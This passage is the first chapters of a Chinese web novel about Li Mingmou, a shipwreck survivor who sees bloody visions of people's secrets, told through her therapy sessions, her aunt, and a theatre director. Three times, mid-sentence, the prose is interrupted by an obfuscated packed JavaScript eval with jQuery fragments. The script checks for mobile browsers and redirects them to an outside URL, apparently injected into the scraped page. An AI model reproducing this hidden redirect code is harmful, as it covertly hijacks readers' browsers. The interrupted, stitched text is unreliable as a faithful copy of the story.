《被和谐的灰姑娘》
1. 精神病人1
“你最近还有看到幻觉吗?”
听到赵医生的问话,李明眸冷静地看向赵医生的脸。
赵医生是李明眸的心理咨询师,她长着一张奇怪的脸。
那张脸是青灰色的,泛着蜡像的光泽。她的造型也像蜡像:她怀中搂着一个绿色皮肤的赤裸婴儿,婴儿长着尖利的牙齿,正在啃噬母亲的胸脯。赵医生左边的胸脯已经被吃掉了,取而代之的是一片遍布齿痕的、血肉模糊的创口。
赵医生低头看着怀里的婴儿,脸上露出一个圣洁的微笑,神情慈爱又温柔,眼中却流出血泪。因为这两行血泪,她的微笑也显得狰狞起来。
——这就是李明眸眼中的赵医生的样子,跟拉斐尔的《西斯廷圣母》很像,但内容血腥得多,充满违和感。
当然,这只是李明眸的“幻觉”。真实的赵医生长得和蔼可亲,称不上好看还是难看,就是普通的长相。
“药有准时吃吗?还看得到幻觉吗?”
赵医生又重复了一遍问题。
李明眸看着那张脸,不动声色地反问:“只要吃了药,就一定不会看到‘幻觉’吗?”
赵医生肯定地点头,说“是的”。
李明眸不知道怎么回答,只好含糊其辞:“那我吃了药。”
她确实吃了药。当时姨妈在隔壁担心地看着她,她想着吃了药,姨妈会安心一点,所以吃了。
但看来这个药不如赵医生说的有效,她还是能看到“幻觉”。
李明眸觉得赵医生看出了她的隐瞒,因为她隐约听到了一声叹息。但赵医生没有继续追问,这让她松了一口气。
因为她不想撒谎。
赵医生换了一个问题:“我想跟你聊聊弗雷娜船难,可以吗?”
“可以,但这个话题我们聊过,我没有这场船难的记忆……”李明眸停下来想了想,确认自己脑海中空空如也,“现在也还是没有。我对它的感觉,跟大部分海市人差不多。”
十八年前,弗雷娜号在海市附近的海域沉没,死亡人数高达2143人,只有576人生还,是海市两代人的集体记忆。
赵医生:“明眸,大部分海市人,他们不在船上。而你在幸存者名单上。你们的感觉不可能一样。
“而且你的父母在这场船难里去世了,这对你来说,是很重大的人生转折。
“就是因为你没有记忆,所以我们才要聊。”
李明眸看了赵医生一眼,耐心解释:“人没有十八年前的记忆,这是很普通的事情,因为记忆的基础是神经元之间的突触,随着时间推移,大脑会修剪突触,给新的突触生长留出空间……”
尽管船难把她变成了孤儿,但她不认为自己有什么心理问题,毕竟那是很久以前的事情了。况且她完全忘记了船难当天的场景,记忆一片空白,自然也谈不上有什么心理阴影。
“我当时才三岁,很多三岁小孩不记事。我的智商和记忆力不错,已经记得比别人多了。
“心理学的主观猜想,不能超越物理世界的客观规律。”
听到最后一句,赵医生噎了一下。
两人沉默一会,气氛有些尴尬。
赵医生揉揉眉头,拿起桌面上的一本宣传手册。李明眸偷偷瞟了一眼,看到手册封面上印着《弗雷娜》三个字。
赵医生看着手册,又换了个话题:
“我上周又看到了弗雷娜船难的报导,有个叫沈思过的导演,他想把这场船难做成舞台剧。
“这个导演是你们学校的客座教授,排演也会在你们学校进行,你想进去参演吗?
“你会在里面认识更多同龄人,交到新朋友,说不定还能想起来一些父母的记忆。
“这会改善你的生活状态……”
赵医生滔滔不绝说了很多,发现李明眸一直没回话,终于抬起头问她:“你在听吗?”
李明眸有些为难,但还是选择实话实说:“我在听。可是我的生活状态很好,不需要改善。”
赵医生:“……”
赵医生挫败地放下手册,深深叹出一口气:
“我知道你不想来做咨询,你是为了让你姨妈放心才来的。
“可是明眸,这并不是好的生活状态。
“远离人群,没有朋友,唯一的聊天对象是AI……我们不会把这定义为好的生活状态。”
李明眸想为自己的生活方式辩白:
这世上存在广袤的群星,在50亿年的宇宙时光中,值得关注的事物如此之多,并不是所有人类都需要跟别的人类聊天。
但她感觉这些话说出来,赵医生也不会相信,因此只是简短回应:
“那只是社会的普通定义,我的生活方式不符合普通定义,但我想每个人都有选择的自由。”
赵医生:“你真的这么认为吗?认为现在的生活很好,没有任何阴影。”
李明眸沉默不语。该回答的,她已经回答过了。
赵医生端详她许久,确认她情绪平静后,才接着说:
“如果一个人可以选择普通的生活方式,在这个情况下,她选择了特殊的生活,这才是真正的自由选择。
“你认为你的生活没有问题,会不会只是因为你没得选?
“在没得选的情况下,把当下的生活定义为最好的生活,这确实是不错的生存策略。”
落日余晖从她们身侧的窗户洒入,昏黄的光斑在木地板上缓缓挪移,似被无形的黏稠糖浆拖住了脚步。
李明眸僵坐在椅子上,一语不发,任由光斑爬上自己的脚。
赵医生神情复杂地看着她,语气温和了许多,聊起自己的情况:
“你姨妈选择我当你的咨询师,是因为我也经历过那场船难。虽然我没有上船,但我的先生在那场事故中逝世了……我的孩子跟你一样,他目睹了自己父亲的死亡,然后幸存下来。
“童童跟你一样,他是个特别的天才。”
说到自己的孩子,她停下来笑了一下,笑容温柔又骄傲。
“所以我理解你的感受,你可以更信任我。作为同样经历过船难的人,我有一个经验,很想跟你分享——
“如果你相信希望,就会有幸福的可能性。”
“你幸福吗?”李明眸突兀地问出一个问题。
“啊,这当然。我跟童童有过一段艰难的日子,但我们现在过得很好,童童现在每天都……”
李明眸打断她:“你真的这么认为吗?”
她看着赵医生流血的圣母异象,声音沙哑又干涩,像铁锈磨在砂纸上:“认为现在的生活很幸福。”
*** ***
李明眸在很多人那里听说过赵医生的故事:
十八年前,赵医生的丈夫带着他们刚出生的孩子登上弗雷娜号,后来她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396214|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丈夫死了,孩子赵童童侥幸活下来,却因为严重的脑损伤后遗症,丧失了社会功能。
赵童童无法与人交流,智商却很高。在赵医生的干预下,他成为了耀眼的学术明星——而赵医生为此付出一切,没有再婚。
在赵童童二十一岁那一年,他获得了陈省身数学奖,在颁奖致辞中,他郑重感谢赵医生:“如果没有妈妈,我已经在船难中湮没。”
弗雷娜船难是海市人的集体记忆,因为赵童童的船难背景,这场颁奖典礼受到了很多关注。
赵医生在台下哭了,无数镜头拍到了她欣慰的泪水,媒体称呼她为“英雄母亲”。
而在镜头之外,李明眸和姨妈正在客厅里看着那场颁奖典礼的转播。
听到赵童童的致辞,姨妈语气敬佩:“他妈妈确实是英雄母亲……”
李明眸看着颁奖台上赵童童的动作,却只觉得毛骨悚然。
李明眸知道赵医生和赵童童的秘密。她知道这不是真实情况。
从弗雷娜船难幸存后,李明眸开始看到一些不该看到的东西,赵医生称呼这些东西为“幻觉”,但李明眸倾向于称呼它们为“异象”,这更加准确。
她有一本画册,专门用来画这些“异象”。
直到画到三百多幅画时,她总结出了一条规律:
她看到的这些可怖伤口,它们并不是幻觉,它们背后隐藏着令人们痛苦的秘密。
很多人都有秘密,但只有那些令当事人极端痛苦的秘密,才会形成诡异血腥的异象,然后被她观测到。
这些异象也不是随机的,每种异象背后都有特定的、对应的涵义,象征着秘密的具体内容。
赵医生的圣母异象就在这本画册里,她的编号是《378》。
结合赵医生的经历,异象的内容并不难猜测:必须成为一个完美的母亲,令赵医生倍感痛苦。
荒谬的是,尽管赵医生付出了痛苦的代价,但她的孩子并没有因此感到快乐——赵童童也在画册上。
赵童童的异象是《385》。《385》上什么也没有,只是一张白纸。
李明眸在诊所里遇到过赵童童一次,赵医生当时正在教赵童童说话,但在赵医生的对面,她什么都没看到。
那里只有腐臭的空气。没有任何人在那里。
《385》的秘密,是赵童童希望自己从未存在过。
*** ***
“你真的这么认为吗?认为现在的生活很幸福。”
这是赵医生刚刚问李明眸的话:你真的这么认为吗?认为现在的生活很好,没有任何阴影。
李明眸问了她同样的问题。
赵医生莞尔一笑,回答道:
“当然。只要不放弃希望,就一定会幸福。
“只要你足够确信,幻觉、孤独、痛苦……这一切都会远离你,姨妈和你都会幸福。
“就像我和童童一样。”
她的语气慈悲又肃穆,沐浴在金色日光下,脸上绽放出圣洁的血色微笑。
李明眸看着血泪从圣母的眼眶涌出,从她的两颊划过,腐蚀出几道血肉刻痕,最终滴落在圣母怀中的绿色婴儿上,发出轻微的“滋滋”声。
婴儿终于松开圣母血肉模糊的□□,张开两排尖牙,发出凄厉的哭嚎声。
在野兽的哭嚎声中,赵医生温柔微笑,慈爱地看着李明眸。
2. 精神病人2
赵医生刚刚问她:真的觉得这样的生活状态没问题吗?
远离人群,没有朋友,唯一的谈话对象是AI,这样生活真的没问题吗?
李明眸看着眼前慈爱微笑的血色圣母,禁不住想问:你们才是,这样生活真的没问题吗?
明明感到痛苦,厌烦和怨恨对方,却还要坚持照顾自己怨恨的人,这样真的可以吗?
戴着自己不想要的面具,说着言不由衷的话,说什么只要坚持希望,就会幸福,赵医生自己也不相信吧。
赵医生问她为什么不与人群.交流,这就是她不与其他人交流的理由。
因为人们虚假。
“你愿意相信我吗?”
赵医生身体前倾,朝向李明眸的方向,两只手掌包裹住她的手。
李明眸感觉到她皮肤的温度和触感,是温暖干燥的,如此温柔又慷慨。如果不是那只绿色婴儿的哭嚎声从未停止,她几乎都要相信了。
她沉默一会,把手抽了回去。
赵医生还维持着身体前倾的姿势,手掌朝她的方向敞开,表情有些失望。
李明眸不知道应该如何解释,把真实的情况说出来,也只会被人当成疯子。
但她看着赵医生失望的表情,还是决定说点什么。
虽然“异象”是不能说的,但她有别的能说的信息。
她回想着颁奖典礼上赵童童的动作,跟随着他在颁奖台上的敲击韵律,一下一下地敲击沙发靠背:
“叩,叩叩,叩,叩,叩……”
“-.. .- -. / .-- --- / -..- .. -. --. / - .... . / -.-. --- -. / .-.. .. -.- ..- .-.. . / -.-. --- -. -”
她认真地敲了很久,赵医生也耐心地听了很久。
她的动作停止后,赵医生又等了等,确认她已经敲完,才重新收拾表情,微笑问她:
“这是在做什么?你在用什么密码信号跟我交流吗?”
李明眸慢慢地说:
“这是赵童童在颁奖典礼上敲的。他当时说的颁奖词是,‘如果没有妈妈,我已经在船难中湮灭’。
“这句话其实还有后半句,是他用摩斯密码在颁奖台上敲出来的。”
她又把那排密码敲了一次,用比之前更慢的速度:
“-.. .- -. / .-- --- / -..- .. -. --. / - .... . / -.-. --- -. / .-.. .. -.- ..- .-.. . / -.-. --- -. -”
赵医生身体微微前倾,仿佛在认真听的样子。
全部敲完后,李明眸解释:“这句话的意思是,‘但我希望湮灭’。”
赵医生前倾的身体僵住了。
赵医生的脸被“圣母”异象遮盖了,李明眸看不清她的表情,也无从得知她更细微的反应。
她已经跟赵医生做了两年半的咨询,一共经历过三十一场谈话。
在这三十一场谈话里,她秉持着自我保护的策略,从未跟赵医生说过那些会被人斥之为异常的信息。
今天也不该说。
但听到赵医生提起赵童童,她像被什么刺中,皮肤上泛起细密刺痛,像是无数根针密密麻麻地碾过,表层的肌肤在又痛又麻的混沌里,一点点失去知觉。
在那种微微麻痹的触感里,她说了下去,像一只无限膨胀的气球,无法停止:
“‘湮灭’这个词跟‘死亡’和‘消失’不同,它更彻底。它指的是被完全淹没或消灭,不再存在或被破坏的状态。
“这个词通常用来描述某种事物或现象被彻底消除或灭绝的情况。
“就像一个人希望消失得比死亡更彻底,他希望世界上没有任何一个人记得他,就像他从来没有存在过一样。”
赵医生的姿势完全没有变化,仍然是微微前倾的动作。
李明眸有种感觉:或许自己应该在这里停下来。
但那种被针碾过的感觉,在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396215|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的身体里不停蔓延,那些触感沿着她的血管流过,最终来到了她的心脏。
她以为自己会感觉到一阵刺痛,但比起针扎的刺痛,她更多地感觉到酸涩。
她的眼眶微微发热,心脏就像被两只手掌包裹住,然后攥紧。
她的嘴巴有了自己的意志,自作主张说下去:
“致谢辞是感谢对方的奉献,决心以某种方式回报的一个说辞。
“赵童童会不会觉得,自己消失的话,才是对妈妈最好的回报呢?
“他大概知道你很辛苦,他不希望你那样。”
李明眸说完之后,咨询室内安静了很久。
下班晚高峰已经过了,从窗户外传来的汽车鸣笛声变得稀稀落落。她大概是最晚的一个咨询者,走廊里没有传来任何声音,大家似乎都下班了。
环境突然变得寂静,电脑细微的运行声都变得清晰可闻。
“嗡……”
“嗡……”
“嗡……”
在这种寂静中,赵医生长久地保持着前倾的姿势,一动不动,也不说话。
良久后,赵医生缓缓收回前倾的动作,重新靠在椅背上。
李明眸看不到她的表情,只听到她用一种冷静得诡异的语气说:
“对不起,明眸,我身体突然不太舒服。要么我们提前结束这次咨询吧。”
膨胀的气球鼓胀到极限,突然爆炸了。
“砰”地一声巨响后,世界寂静了一瞬间,什么声音都不存在了。就好像世界也在这个瞬间湮灭了一样。
这个瞬间结束后,比之前嘈杂千百倍的声音,重新灌进了李明眸的耳朵。
路怒症的司机大声叫骂,骂声随着尖锐的鸣笛声刺入窗户,发出金属刮蹭玻璃的声音。门外传来助理们的笑声,连绵成一片,在走廊中回荡,好像门外的每一个角落都有人在发笑。
还有人在哭,又或者在咆哮,这大概是还没有结束咨询的患者。他们的呼叫声隔着墙壁传来,惨痛而遥远:
“他骗了我!他们骗了我!”
3. 陈年伤疤
海市是一个河口冲积平原,这样优渥的地貌,应该生活有很多不同种类的动物才对。
但李明眸从心理治疗诊所出来后,在走向公交站的路上,只看到密密麻麻的人。
海市有1843万人,其他生物被排挤出了这片空间。然而独占这片冲积平原后,人们看起来也不是非常快乐。
在深秋的冷雨中,路上的行人一脸麻木,下班后行色匆匆赶回自己的出租屋,就像回到自己的坟墓。
1843万座坟墓。
居住在这片冲积平原的人,要么活得像丧尸,要么活得像机器人。零件坏了的话,就要找医生修复一下,不是为了幸福和健康,只是因为日常的运行和工作不能耽误。
但就在这个平平无奇的黄昏,突然有一群黑鸟经过了这块河口冲积平原。
李明眸当时已经登上了438公交,那群黑鸟铺天盖地,公交上的人们突然都活了过来,纷纷探出车窗,朝那群黑鸟看去。
鸟群的速度很快,一会就看不见了,司机头顶的电视屏传来新闻播报:“海市渔业近年来异常发达,引来大量候鸟南迁……”
拥挤的车内开始响起窃窃私语:
“那是什么鸟?”
“已经看不见了。”
在乘客的小声议论中,李明眸从心理咨询室出来时,就已经隐隐作痛的脸,更激烈地刺痛起来。
黑鸟飞过后,那股痛感越来越强烈,她感觉自己右眼侧的皮肤绷在一块,痛得弯下腰,缩在座位上。
隔壁座的男生把头从车窗外伸回来,有点担心地问,“你还好吗”,然后轻轻碰她的肩膀。
她反应很大地挥开对方的手,从座位猛地弹起来,警惕地看着对方。
她讨厌别人碰她。
等站稳后,她才发现车内的乘客已经从窗外收回视线。所有人都在看这边,她隔壁男生的手还抬着,神情尴尬又僵硬。
她反应过来,勉强自己拉开脸皮笑了一下:“我没事。”
男生悻悻收回手,气氛十分尴尬。
她假装自己站起来是要离座,挤开众人来到车门边。等到车门打开的瞬间,她走了下去。
她下车的地方是一个陌生广场,离她家的幸福路还有五站距离。
她没来过这里,不认识的街道边亮着彩色霓虹灯,路上都是衣着时髦暴露的男女。她穿着灰扑扑的卡通t恤混在其中,意外地有些显眼。
她僵着身体站在陌生的公交站,远处商场的墙上是一整面的广告屏,歌声在广场萦绕,传得极远:
船板晃着最后一下 浪正咬着船尾
你扯我衣袖时海风正掀我裙尾
别管舱里摇晃的钟别捡掉落的酒杯
现在就跑——你看那根缆绳正被浪咬断结尾
去远方吧管它是哪片海的脊背
是星光落满的滩还是刚醒的芦苇
反正船要沉成泡沫前我们先踩着浪飞
去远方吧哪怕方向是风随便指的方位
……
……
……
又是一首唱沉船的歌。
附近行人陆续抬起头,远远朝那面广告墙看去,李明眸却只觉得右眼侧的皮肤更痛了,是一种被灼烧的痛。
她一眼也没往那个方向看。她微微佝偻着腰,怕再引起其他行人的注意,朝人少的地方走去。
人群在她身后越来越远,沙哑的歌声也被她抛在身后。
她从广场侧门走进去,找到一个偏僻的洗手间,佝偻在洗手池边,打开水龙头,用水声遮盖住自己的喘息声。
右眼侧的皮肤越来越痛,那是一种被剐蹭的痛感,像是表皮被一层一层剐下去,里面的血肉和筋膜暴露出来。被晒到会痛,被风吹到会痛,被人看到也会痛。什么都不做的时候,还是会痛。
这股痛楚如此真实,可是熬到这阵剧痛过去后,她抬起头,看向镜中自己的脸:那张脸完整无损,哪里有什么伤口?
除了右侧眼角的附近,有一点过分白皙和平整——那是一块陈年灼伤的疤痕,是当年在弗雷娜船难留下的——除了那里,整张脸都光滑如新,没有任何伤口。
她看向那块灼伤疤痕。
那里就是发出剧痛的地方,可是所有人,包括姨妈、医生,以及历任心理咨询师,都说那块伤疤早就好了,它不应该痛。
那个伤口确实早就好了,它不该痛。
她死死盯住那片灼烧疤痕,抬起手掌,颤抖着覆盖在那上面,立刻感觉自己的太阳穴痛到鼓了起来,一下一下地,不停鼓动。
那阵痛楚如此逼真,真实到她无法忽略。
伴随着这阵鼓动,一阵令人不悦的气味在洗手间弥漫开来,像是鱼虾在下水道里沤了很久。
在这阵腐臭味中,她忍住痛楚,看向镜中自己的脸,审视自己的五官,不禁怀疑:
她确实有一张皮肤光滑、完好无损的脸吗?她的五官确实按规律排列在那张脸上吗?
自己真的长这个样子吗?
异象并不反映在镜子、照片、视频里。当她拿着手机去拍一个有异象的人时,手机里呈现的并不是异象,而是对方在他人眼中的样子。
所以当她看向镜中自己的时候,她看到的,是别人眼中的她的样子。
别人眼中的她长相正常,可是那阵疼痛和气味时刻提醒着她:这张正常精致的脸,它是真的吗?
当她伸手去挠那块伤疤的时候,洗手间的大门“吱呀”一声被推开,打扮时髦的两个女人有说有笑地走了进来。
她收回手,不再看那面镜子。
她忍住痛楚快速洗完脸,把头发也弄湿了一片。
然后她离开这个洗手间,也离开了这座陌生广场。
从广场找到回家的路后,李明眸特意步行回去,尝试拖延时间。
但走了40分钟,快到饭点的时候,她还是避无可避地回到了家门口。
她站在门口的地毯上,没有开门,没有叫人,也没有按门铃。
她害怕打开门之后,要面对姨妈的表情。
刚从心理咨询诊所离开的时候,赵医生说,想把她转介给别的咨询师。
赵医生认为自己帮助不了李明眸,毕竟李明眸已经在这里做了两年半咨询,但情况一直没有起色,换个咨询师,可能会更好。
赵医生还说了一大堆解释的话,李明眸也没听清,她的脑袋一直在嗡嗡作响。
她觉得自己被转介的理由,大概不是因为赵医生说的那些话,而是因为她冒险转述的,关于赵童童的那些话。
赵医生当时说了半天,看李明眸低头没反应,便叹息着说:她待会会亲自打电话跟姨妈解释,让李明眸不要紧张。
但无论赵医生怎么安慰她,李明眸都很清楚:在姨妈得知她被转介的那一刻,就会知道,是她把事情搞砸了。
李明眸想着这些事情,在家门口站了五分钟,身体微微发麻,也不敢敲门。
下一个瞬间,门突然开了。
门是从里面打开的,动作很大,发出的声音响彻走道。
李明眸下意识后退一步,离门远了一点。
姨妈出现在门的另一边,看到李明眸站在门口,有些惊诧:
“你没带钥匙吗?我刚想下去接你,看你今天这么晚。”
李明眸本来低着头,不敢抬头看姨妈的脸。但是听到姨妈的语气,她有点困惑,抬头去看,想要确认姨妈的表情。
然后她看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396216|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了姨妈灿烂明媚的笑脸。
她刚刚果然没听错,姨妈的语气很开心……
但姨妈为什么会开心?
“刚赵医生给我打了电话,说你答应去那个剧团看看,怎么突然改变想法了?”
姨妈的笑容毫不掩饰,语气也十分雀跃。
李明眸有些僵住,不知道该回什么,也不知道该从何问起。
她答应什么了?
姨妈看她紧张的样子,莞尔一笑:“只是去学校参加活动,不要这么紧张。你就当是社团活动吧,你以前不也参加过学校的歌舞社吗?”
李明眸更紧张了,努力回想自己答应过什么。
在她印象中,她准备离开诊所的时候,赵医生给她塞了一本宣传手册,她下意识就接了。
可她当时没答应什么吧?
“哎呀,别站在门口说了,饭快好了。”
姨妈转身回去,进了厨房,一边炒菜一边说:
“既然你答应去看看,那就要对老师和同学礼貌一些。不要觉得人家笨,人家能感觉出来的……
“艺术专业的学生,文化课是不是不太好啊?
“你很聪明,但你要照顾其他同学的心情……”
在炒菜声中,李明眸站在门口听了一会,终于明白过来:
咨询的时候,赵医生是有跟她提过类似项目,说一个导演要在海大搞一个弗雷娜船难相关的舞台剧,问她想不想参加。
她不知道自己什么时候答应了这个,赵医生走前也没有跟她说,只是给她塞了本手册,让她回去看看。
她在玄关僵住,想跟姨妈说,自己没准备答应——她绝对不会答应这种行程。
姨妈端着炒好的菜出来,看到李明眸还愣在玄关,她也愣了一下,终于注意到不对劲的地方。
“你头发怎么是湿的?还有这表情是怎么了?”
李明眸沉默一会,说“路上下雨了”,然后默默走进厨房,帮忙端菜出来。
她最终还是什么都没说。
两人在客厅沉默吃饭的时候,电视上又在播放那个候鸟南迁的新闻。
姨妈看着新闻,絮絮叨叨聊起自己的工作,说渔业资源监测站最近在附近海域发现了新鱼类,海鸟也多了起来。
李明眸应了几声,看向电视,意外地在电视隔壁看到了那本宣传手册。
就是赵医生塞给她的那本宣传手册,封面上印着《弗雷娜》的那本手册。
她以为是自己把手册放在那里的,可是当她看向自己的书包时,看到了从书包开口露出的手册一角——那才是她从咨询室拿回来的宣传手册。
她的手册一直在书包里没拿出来,那放在电视机旁边的,又是谁的手册?
她的视线缓缓从那本手册上移回来,看向姨妈的脸。
那是姨妈的手册。
但是姨妈为什么会有这本手册?
姨妈早就知道吗?姨妈早就跟赵医生说好了,要让自己去这个《弗雷娜》剧团?
姨妈留意到李明眸的目光,把视线从电视机移开,看向李明眸的脸,然后顺手给她夹了一筷子菜。
李明眸低头看向自己的碗:是她最讨厌的香菜。
“不要挑食,吃点香菜对身体好。”
她重新抬头看向姨妈,看到一张端正的脸。那张脸的眼角已经有一点鱼尾纹,但仍然能看出来,年轻时是非常漂亮美艳的。
一张慈爱,完美,没有异象的脸。
“好。”
在姨妈的注视下,李明眸应了一声,随后低头夹起那丛香菜,放进自己嘴里咀嚼起来。
她忍住阵阵作呕的感觉,强行把香菜吞了下去,感觉自己侧脸的烧伤,又开始隐隐作痛。
4. 过去邀请
第二天虽然没课,但李明眸还是来了海大。她拿着两本《弗雷娜》手册,走在校道的树荫下。
她准备拒绝掉这个剧团的活动。
她昨晚仔细看完这本手册,大概明白了这个项目的性质:这个叫沈思过的导演,兼海大的客座教授,他也是船难的576个幸存者之一。他想筹办一场叫《弗雷娜》的舞台剧,以纪念这场灾难。
虽说是“舞台剧”,但这个项目的主办方是“海市歌舞团”和“海大艺术学院”,有很多舞蹈内容。
昨晚看完关于舞蹈环节的介绍时,李明眸感觉自己安全了。
因为她不会跳舞。
她今天来学校,是为了见这个导演,他在海大有办公室。姨妈和赵医生都以为她答应了加入剧团,但她准备在今天当面拒绝掉这件事。
按照姨妈的说法,这个叫沈思过的导演,甚至专门给她准备了一个角色。
她听说过这个导演,他很出名。她不知道姨妈和赵医生是怎么说服他同意的。
这大概是赵医生帮忙找的关系,因为手册一角印着一行小字,“向光精神康复中心协助举办”——赵医生在这个康复中心工作过。
但无论赵医生是怎么说服沈思过的,反正她不会跳舞,专业的剧团不可能接受一个没有舞蹈基础的成员。
剧团最好能拒绝她,因为一个剧团得有几十人吧,竟然要跟那么多人社交,对她来说压力太大了……
她想着自己的事情,突然一个人从隔壁窜上来,她没看路,一下撞到了对方怀里。
撞到了对方的胸脯上。
她有些发愣地抬头,看到了跟自己一起参加竞赛的学妹。
学妹挺了挺胸,灿烂微笑:“你怎么走在路上同手同脚?”
嗯……她不但不会跳舞,还同手同脚。想必沈思过知道后,是不会让她加入剧团的。
她往右移了两步,绕过学妹,低着头继续往前走。
“怎么不跟我打招呼?虽然是我故意让你撞我不好啦……喂,学姐你去哪!”
她往前走,假装没听到后面有人叫她。
这就是她在海大的社交日常。
她跟着手册“办公地点”的提示,找到沈思过办公室的时候,有点惊诧,因为她来过这个地方——这是宋教授的办公室隔壁。
她是宋教授的助教,来过这里好几次,但她没发现,就在一门之隔的地方,竟然是一个艺术学院的客座教授的办公室。
她就说怎么偶尔会在走道上见到一些打扮奇怪的人。
她走到沈思过办公室门口的时候,心情还是比较放松的,可在推开门往里看的时候,她一瞬间就愣住了。
在正对大门的墙壁上,挂着一副画。她的视线瞬间就被那幅画吸引了:
一座白色高塔矗立在海报中央,塔身被一条旋转楼梯环绕,塔的顶端悬着一个球状物。
在看到这座塔的一瞬间,她的视线就黏在上面,一直没有移开。
她就这么看着那座塔,楞在门口。
愣了几秒后,突然有一把声音从她身后响起:“这是我画的,眼熟吧?”
她回头看去,看到一个年龄不明的中年男人。
男人的表情温和稚气,给人感觉年纪不大,可是仔细看他的脸,又仿佛有四十多岁了。
他两手捧着一个米黄色保温杯,朝李明眸羞怯地笑了一下,笑容有些僵硬:“进去坐吧。”
李明眸下意识往里看,才发现办公室里面没人。
几个学生从男人身后经过,说“沈导演我们待会再来”,男人回过头去,跟他们说话。
李明眸这才反应过来——眼前这个人就是沈思过。
这人长得跟她想象中不太一样。
沈思过打完招呼,又回过头来看她,做了一个“请进”的动作。
她只是站在办公室门口,也没跟他打招呼,他怎么知道她是谁,又怎么知道她是来找自己的呢?
李明眸看着他有些羞怯的笑脸,下意识走了进去,没多想这个问题。
在里面坐下的时候,李明眸才开始感觉有些尴尬,不知道怎么开口。
沈思过坐在她对面,就在那副画下面。他在整理自己的办公桌,没有说话。
虽然是客座教授,但沈思过有自己的办公室,这办公室甚至比隔壁宋教授的大很多,壁柜上摆了一些花瓶古董。
李明眸的眼睛从那些昂贵的摆饰扫过,最后还是忍不住,落在了那座高塔上。
然后她的视线又从高塔缓缓下移,落在沈思过身上:他还在整理办公桌,把一沓邀请函规整到一起。
她就这么默默看着他整理,直到他整理完了,才不太熟练地开口介绍:“我叫李明眸……是赵医生介绍我来找你的。”
沈思过终于抬头看她:“我认识你。”
这话接得有些奇怪,但李明眸还是硬着头皮,按自己的逻辑说了下去:
“我是弗雷娜船难的幸存者,赵医生想让我参加你的《弗雷娜》舞剧,她觉得这样对我的治疗有利。”
说到这里,她把那本《弗雷娜》手册拿出来,放在桌面上。
“虽然中学参加过歌舞社,但我不会跳舞,也没有表演基础。赵医生应该是以为我会,所以才把我介绍给您。”
她解释得很清楚,还给赵医生也澄清了,她觉得这次拒绝会很顺利。难的事情在后面:拒绝剧团后,她需要回去跟姨妈解释,再跟赵医生道歉。
但沈思过听完她的话后,说的第一句话,就超出了她的意料,打乱了她的逻辑。
他眼神奇怪地看着她:“不是赵善辞向我介绍的你,是我拜托赵善辞联系你的。”
李明眸愣了一下,眨眨眼,没反应过来他的意思。
沈思过继续解释:“我需要一个幸存者来扮演一个特定的角色,我需要你,所以才让你的医生联系你的。”
李明眸困惑不解:“可我只演过猫,你们也可以吗?如果你只是需要一个幸存者,名单上面有576个人……是因为我在海大吗?”
如果不是考虑到她在海大,练习比较方便,赵医生的小孩赵童童应该更适合,也更有话题性。
她考虑得很有逻辑,但沈思过的下一句话,再次打乱了她的思考:
“看来你不记得我了,李明眸。”
你不记得我了?
这句话有很多种理解方式。
李明眸其实一直都知道沈思过,他的名字有时会出现在电视上,她看过他拍的一部电影,还知道他跟一个艳星结婚了。
她也在海大听人讨论过他,听说他是以前的海市首富的儿子,大家时不时会聊到他。
海大的大部分人,或者说海市的大部分人,都知道沈思过是谁。
可是沈思过问的,不是“看来你不知道我是谁”,而是“看来你不记得我了”。
所以李明眸愣住了。
沈思过顺畅地说了下去,面带微笑,无比自然:
“弗雷娜船难发生后,我们是同一批获救的人,那一天是2003年8月15日。
“我很记得你,这个角色只有你能演。”
沈思过的办公室很大,却没有窗户,门也关上了。
里面没有风,也不应该有风。
但李明眸的后背突然凉凉的,好像有风吹在她的脊背上。
她僵硬着脸,解释道:“我没有那天的记忆,我不记得了。”
她又把对赵医生的那番说辞搬了出来:“那是很久以前的事情。已经过去太久,我不记得了。”
沈思过静静看着她,缓缓说道:
“真正撼动人心的,不是美丽和温柔。虽然美丽和温柔确实让人感动,但那种感情没法持久。
“愤怒和悲伤就不一样了……它能在
